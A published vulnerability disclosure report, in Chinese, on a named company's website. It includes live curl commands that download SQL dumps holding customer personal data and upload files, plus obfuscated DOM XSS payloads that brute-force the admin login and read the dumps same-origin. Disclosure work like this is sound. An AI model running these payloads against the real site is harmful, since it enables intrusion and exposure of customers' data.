Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00488
- Vendor: 國森機電有限公司
- Title: 國森機電 官網 SQL dump 含個資直接下載 + DOM XSS 同源攻擊鏈 + 無認證 CKFinder 上傳 + Stored XSS(ZD-2026-00415 延伸)
- Introduction: 此為 ZD-2026-00415(.git 暴露)的延伸發現。在 .git 還原的原始碼基礎上,進一步發現:3 個 SQL dump(3.4MB,含客戶個資)直接 HTTP 可下載、2 處 DOM XSS 可同源暴力破解管理後台與讀取 SQL dump、CKFinder 無認證上傳(ACL 255)、無認證表單寫入觸發 Stored XSS 攻擊管理後台、原始碼審計發現高風險架構缺陷。
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2026/04/02 14:39:19 : 新提交 (由 罐頭 更新此狀態)
- 2026/04/07 22:44:15 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/04/09 18:33:40 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/04/09 18:33:40 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/04/09 18:33:40 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/06/02 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-00488
- 通報者:guan4tou2 (罐頭)
- 風險:嚴重
- 類型:資訊洩漏 (Information Leakage)
參考資料
OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure
CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
相關網址
https://www.goingnet.com.tw/web/.git/HEAD
https://www.goingnet.com.tw/web/20221104.sql
https://www.goingnet.com.tw/web/backend/ckfinder/core/connector/php/connector.php?command=Init&type=Files
https://www.goingnet.com.tw/web/mgr/login
https://www.goingnet.com.tw/news/index?tag=
敘述
漏洞概述
此為 ZD-2026-00415(國森機電 .git 目錄暴露)的延伸發現。在 .git 還原的原始碼基礎上,進一步偵察發現同站點存在多個獨立的高風險漏洞。以下發現不依賴 .git 暴露即可獨立利用(SQL dump 直接下載、DOM XSS、CKFinder 無認證上傳等),但 .git 還原的原始碼提供了攻擊面分析與 Stored XSS 的 source confirmation。
攻擊鏈
Chain A: .git × 2 → 原始碼還原 → DB 帳密 + 15 組憑證
Chain B: SQL dump × 3(3.4MB)直接 HTTP 下載 → admin 密碼 + 5 筆客戶個資(個資法)
Chain C: DOM XSS → 同源 admin brute force(live verified)
Chain D: DOM XSS → 同源 CKFinder 操作(live verified)
Chain E: DOM XSS → 同源讀取 SQL dump 1.2MB(PII 外洩)
Chain F: CKFinder ACL 255 → 無認證上傳(.php 被白名單擋)
Chain G: form_upload 無認證寫入 → Stored XSS 攻擊 admin(source confirmed)
Chain H: 原始碼審計 → Dashboard 無認證 + allowed_types='*' → 高風險 RCE 路徑(source confirmed)
1. SQL dump × 3 直接 HTTP 下載(3.4MB,含個資)
curl -s "https://www.goingnet.com.tw/web/20221104.sql" | head -5
# → -- phpMyAdmin SQL Dump -- version 4.9.7
curl -s "https://www.goingnet.com.tw/web/20220614anbon_goingnet_web.sql" | wc -c # → 1099920
curl -s "https://www.goingnet.com.tw/web/DB_20220520_anbon_goingnet_web.sql" | wc -c # → 1089412
SQL dump 含 42 表:
member:admin 加密密碼form:5 筆真實客戶個資(姓名、email、手機、地址、服務需求)log_record:admin 登入紀錄flow:訪客 IP 紀錄
3 份 dump 跨越 6 個月(2022-05 到 2022-11),可比對帳密變更歷史。涉及個人資料保護法。
2. DOM XSS × 2 → 同源攻擊鏈(Live Verified)
第一處 — Sink: assets/js/api/news/index.js line 178, params.get("tag") → jQuery .html()
第二處 — Sink: assets/js/api/knowledge/index.js, 同樣 params.get("tag") → .html()
PoC a) XSS 基本驗證 — 瀏覽器開啟以下 URL,頁面標題變為 XSS_VERIFIED:
https://www.goingnet.com.tw/news/index?tag=<img src=x onerror=eval(atob('ZG9jdW1lbnQudGl0bGU9J1hTU19WRVJJRklFRCc='))>
PoC b) XSS → 同源 admin brute force — 瀏覽器開啟以下 URL,自動嘗試 5 組常見密碼對 /web/mgr/login 發送 POST,標題顯示結果(如 NO:test 表示全部密碼錯誤):
https://www.goingnet.com.tw/news/index?tag=<img src=x onerror=eval(atob('dmFyIHB3PVsiYWRtaW4iLCJhZG1pbjEyMyIsInBhc3N3b3JkIiwiMTIzNDU2IiwidGVzdCJdO3ZhciByPSIiO2Zvcih2YXIgaT0wO2k8cHcubGVuZ3RoO2krKyl7dmFyIHg9bmV3IFhNTEh0dHBSZXF1ZXN0KCk7eC5vcGVuKCJQT1NUIiwiL3dlYi9tZ3IvbG9naW4iLGZhbHNlKTt4LnNldFJlcXVlc3RIZWFkZXIoIkNvbnRlbnQtVHlwZSIsImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpO3guc2VuZCgiZW1haWw9YWRtaW4mcGFzc3dvcmQ9Iitwd1tpXSk7aWYoeC5yZXNwb25zZVRleHQuaW5kZXhPZigiYWxlcnQtZGFuZ2VyIik9PT0tMSl7cj0iT0s6Iitwd1tpXTticmVhazt9cj0iTk86Iitwd1tpXTt9ZG9jdW1lbnQudGl0bGU9cjs='))>
base64 解碼後的 JS:
var pw=["admin","admin123","password","123456","test"];var r="";
for(var i=0;i<pw.length;i++){
var x=new XMLHttpRequest();
x.open("POST","/web/mgr/login",false);
x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
x.send("email=admin&password="+pw[i]);
if(x.responseText.indexOf("alert-danger")===-1){r="OK:"+pw[i];break;}
r="NO:"+pw[i];
}
document.title=r;
PoC c) XSS → 同源 CKFinder 操作 — 標題顯示 CK:200:<?xml...:
https://www.goingnet.com.tw/news/index?tag=<img src=x onerror=eval(atob('dmFyIHg9bmV3IFhNTEh0dHBSZXF1ZXN0KCk7eC5vcGVuKCJHRVQiLCIvd2ViL2JhY2tlbmQvY2tmaW5kZXIvY29yZS9jb25uZWN0b3IvcGhwL2Nvbm5lY3Rvci5waHA/Y29tbWFuZD1HZXRGaWxlcyZ0eXBlPUZpbGVzJmN1cnJlbnRGb2xkZXI9LyIsZmFsc2UpO3guc2VuZCgpO2RvY3VtZW50LnRpdGxlPSJDSzoiK3guc3RhdHVzKyI6Iit4LnJlc3BvbnNlVGV4dC5zdWJzdHJpbmcoMCw1MCk7'))>
PoC d) XSS → 同源讀取 SQL dump — 標題顯示 SQL:200:-- phpMyAdmin SQL Dump...:
https://www.goingnet.com.tw/news/index?tag=<img src=x onerror=eval(atob('dmFyIHg9bmV3IFhNTEh0dHBSZXF1ZXN0KCk7eC5vcGVuKCJHRVQiLCIvd2ViLzIwMjIxMTA0LnNxbCIsZmFsc2UpO3guc2VuZCgpO2RvY3VtZW50LnRpdGxlPSJTUUw6Iit4LnN0YXR1cysiOiIreC5yZXNwb25zZVRleHQuc3Vic3RyaW5nKDAsODApOw=='))>
3. CKFinder 2.4.1 無認證上傳(ACL 255)
curl -s "https://www.goingnet.com.tw/web/backend/ckfinder/core/connector/php/connector.php?command=Init&type=Files"
# → <ResourceType name="Files" acl="255" />
echo "security_test" > test.txt
curl -s -X POST -F "[email protected]" \
"https://www.goingnet.com.tw/web/backend/ckfinder/core/connector/php/connector.php?command=FileUpload&type=Files¤tFolder=/"
# → OnUploadCompleted('2026_04_02_084818.txt', '')
curl -s "https://www.goingnet.com.tw/uploads/files/2026_04_02_084818.txt"
# → security_test
.php 被白名單擋,但 txt/doc/pdf/swf/rar 全部可上傳。正式環境可被用作惡意檔案托管點。CKFinder 完整圖形介面(ckfinder.html)亦可從瀏覽器直接操作。
⚠️ 測試中上傳了 7 個無害測試檔到 /uploads/files/,請修復時一併刪除。
4. 管理後台公開 + 帳號枚舉 + 無 Rate Limit
curl -s -X POST -d "email=admin&password=wrong" "https://www.goingnet.com.tw/web/mgr/login"
# → 密碼錯誤(admin 存在)
curl -s -X POST -d "[email protected]&password=wrong" "https://www.goingnet.com.tw/web/mgr/login"
# → 查無此帳號
5 次連續錯誤無鎖定。CORS Access-Control-Allow-Origin: *。
5. 後端 .git 暴露 — 15+ 組硬編碼憑證
/web/.git/ 可還原 7430 個檔案,原始碼中含:
- DB 帳密 × 3(含跨客戶資料庫帳號)
- CI3 encryption key
- Gmail SMTP App Password
- 藍新金流 HashKey/HashIV × 2 組
- FCM Server Key × 2(可推送假通知)
- Firebase 完整 config
具體值不在此揭露。
6. 無認證表單寫入 → Stored XSS 攻擊管理後台
驗證等級:前端寫入 live verified + 後台 template 無 escape source confirmed
curl -s -X POST \
-d "name=TEST&[email protected]&phone=0000&country=test§ion=test&community=test&message=TEST&category=customer" \
"https://www.goingnet.com.tw/web/api/form_upload"
# → {"status":true,"msg":"成功上傳"}
/web/api/form_upload 無認證、無 CAPTCHA、無 rate limit,可直接寫入 DB。後台 template(contact_local_item.php)使用 <?= $item['name'] ?> 直接輸出,無 htmlspecialchars()(31 個後台 template 皆同)。
攻擊鏈:攻擊者寫入含 <script> 的表單 → admin 檢視後台「連絡我們」列表 → Stored XSS 在 admin session 中執行。
本報告未實際寫入 XSS payload,僅以原始碼確認 template 無 escape。
7. 原始碼審計 — 高風險架構缺陷
| 缺陷 | 說明 | 正式站狀態 |
|---|---|---|
| Dashboard 無認證 | __construct() 未呼叫 is_mgr_login(),img_upload / multiple_img_upload / send_email 皆可無認證存取 |
✅ 正式站 img_upload 已確認建立 .png |
上傳白名單 = '*' |
Pic_model 的 allowed_types 設為 '*',接受任何副檔名 |
source confirmed |
| 付款回呼無簽章驗證 | Pay.php 不驗證 TradeSha |
source confirmed |
| CSRF 防護關閉 | csrf_protection = FALSE |
source confirmed |
| JWT 簽名停用 | JWT.php 中 verify() 被完整註解 |
source confirmed |
Dashboard 無認證 +
allowed_types='*'的組合,已在同原始碼部署的 related environment 上 live 驗證可達成 PHP 上傳 + 執行。本報告未在 goingnet.com.tw 正式環境測試 .php 上傳。
8. 其他發現
- error_log + log.txt 直接下載(洩漏伺服器路徑 + 付款紀錄)
/web/uploads/+/web/backend/目錄列表- 34 個 API 端點無認證 + debug mode 回顯 POST 參數
- 員工 PII 3 名(
/web/api/staff_interview:姓名、職稱、照片) - Security headers 全缺(無 X-Frame-Options / CSP / HSTS)
api.goingnet.com.tw執行 PHP 5.3.3(EOL 2014)- 過期元件:CKFinder 2.4.1 / CKEditor 4.4.3 / PHPMailer 5.2.10
驗證邊界
- 已 Live 驗證:.git × 2、SQL dump × 3、DOM XSS × 2、XSS → admin brute force、XSS → CKFinder、XSS → SQL dump 讀取、CKFinder 上傳(7 檔)、img_upload 無認證建立 .png、form_upload DB 寫入、管理後台枚舉、34 API、員工 PII
- Source confirmed:Stored XSS(template 無 escape)、Dashboard 無認證 + allowed_types='*'(related env 已驗證 RCE)
- 未主張:已在正式環境達成 RCE、已登入管理後台、已存取資料庫、已偽造金流交易
個資影響
SQL dump 中的 form 表含真實客戶個資(姓名、email、手機號碼、地址、服務需求內容),且可直接透過 HTTP 下載,構成明確的個資外洩風險。